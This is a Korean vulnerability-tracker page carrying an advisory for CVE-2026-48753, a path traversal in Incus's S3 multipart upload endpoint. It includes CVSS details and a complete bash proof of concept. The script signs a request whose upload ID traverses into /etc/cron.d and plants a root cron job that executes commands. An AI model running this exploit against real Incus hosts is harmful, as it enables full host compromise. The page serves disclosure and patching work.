CVE-2026-48753CRITICAL· 9.9GHSA대응게시일: 2026. 06. 26.수정일: 2026. 06. 26.

Incus has an arbitrary file write via path traversal in S3 multipart upload

위협 신호 · CVSS · EPSS · KEV

시급 검토· 이론 심각도 Critical

CVSS

9.9critical

이론적 심각도 점수

EPSS

—

예측 데이터 없음

KEV

미등재

실측 악용 기록 없음

권장 대응 기한14일 이내CISA SSVC 기준

2주 이내 패치 — 우선 조치 대상

완전 장악외부 노출· KEV 미등재 · 자동화 어려움 · 완전 장악 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로

공격 벡터네트워크

공격 복잡도낮음

필요 권한낮음

사용자 상호작용불필요

범위변경

영향

기밀성 영향높음

무결성 영향높음

가용성 영향높음

버전별 점수

CVSS 3.19.9CRITICAL

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

상세 설명

Summary

The S3 protocol upload endpoint is vulnerable to path traversal and allows creation of arbitrary files on the host. This behavior could lead to arbitrary command execution.

In internal/server/storage/s3/local/multipart.go, user-controlled upload ID is appended to the uploads directory unsanitized; https://github.com/lxc/incus/blob/40dd4f151d52c06b178482aa2518abfb9df3e6fb/internal/server/storage/s3/local/multipart.go#L33

PoC

Setup

bash

 1# Expose the S3 API and create a bucket
 2incus config set core.storage_buckets_address=:8555
 3incus storage volume create default bucket
 4#> note the credentials

Exploitation

The below script was mostly generated.

bash

 1#!/usr/bin/env bash
 2set -euo pipefail
 3 
 4if [ $# -lt 4 ]; then
 5	printf 'usage: $0 endpoint bucket access-key secret-key\n' >&2
 6	exit 1
 7fi
 8 
 9endpoint="${1%/}"
10bucket="${2}"
11access="${3}"
12secret="${4}"
13 
14region="us-east-1"
15service="s3"
16key="anything"
17part="1"
18upload_id="../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/cron.d"
19target="/etc/cron.d/part-00001"
20cmd="id > /incus-s3-uploadid-bash-rce; rm -f $target"
21body="* * * * * root /bin/sh -c '$cmd'
22"
23 
24uri_path="$(printf '%s' "$endpoint" | sed -E 's#^[a-z]+://[^/]+##')/$bucket/$key"
25uri_path="${uri_path#/}"
26uri_path="/$uri_path"
27host="$(printf '%s' "$endpoint" | sed -E 's#^[a-z]+://([^/]+).*#\1#')"
28qs="partNumber=$part&uploadId=${upload_id//\//%2F}"
29url="$endpoint/$bucket/$key?$qs"
30 
31amz_date=$(date -u +%Y%m%dT%H%M%SZ)
32date_scope="${amz_date:0:8}"
33scope="$date_scope/$region/$service/aws4_request"
34body_hash=$(printf '%s' "$body" | sha256sum | awk '{print $1}')
35signed="host;x-amz-content-sha256;x-amz-date"
36 
37canonical="PUT
38$uri_path
39$qs
40host:$host
41x-amz-content-sha256:$body_hash
42x-amz-date:$amz_date
43 
44$signed
45$body_hash"
46canonical_hash="$(printf '%s' "$canonical" | sha256sum | awk '{print $1}')"
47string_to_sign="AWS4-HMAC-SHA256
48$amz_date
49$scope
50$canonical_hash"
51 
52hmac_hex() {
53	printf '%s' "${2}" | openssl dgst -sha256 -mac HMAC -macopt "hexkey:${1}" -binary | xxd -p -c 256
54}
55 
56k_date=$(printf 'AWS4%s' "$secret" | xxd -p -c 256)
57k_date=$(hmac_hex "$k_date" "$date_scope")
58k_region=$(hmac_hex "$k_date" "$region")
59k_service=$(hmac_hex "$k_region" "$service")
60k_signing=$(hmac_hex "$k_service" "aws4_request")
61sig=$(hmac_hex "$k_signing" "$string_to_sign")
62auth="AWS4-HMAC-SHA256 Credential=${access}/${scope},SignedHeaders=${signed},Signature=${sig}"
63 
64printf '# body:\n%s' "${body}"
65 
66curl -ksS -X PUT "${url}" \
67	-H "Host: ${host}" \
68	-H "X-Amz-Date: ${amz_date}" \
69	-H "X-Amz-Content-Sha256: ${body_hash}" \
70	-H "Authorization: ${auth}" \
71	--data-binary "${body}"

Impact

Arbitrary file write on the host. Possibly leading to arbitrary command execution.

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.

참고 자료 2

링크 내용 불러오는 중…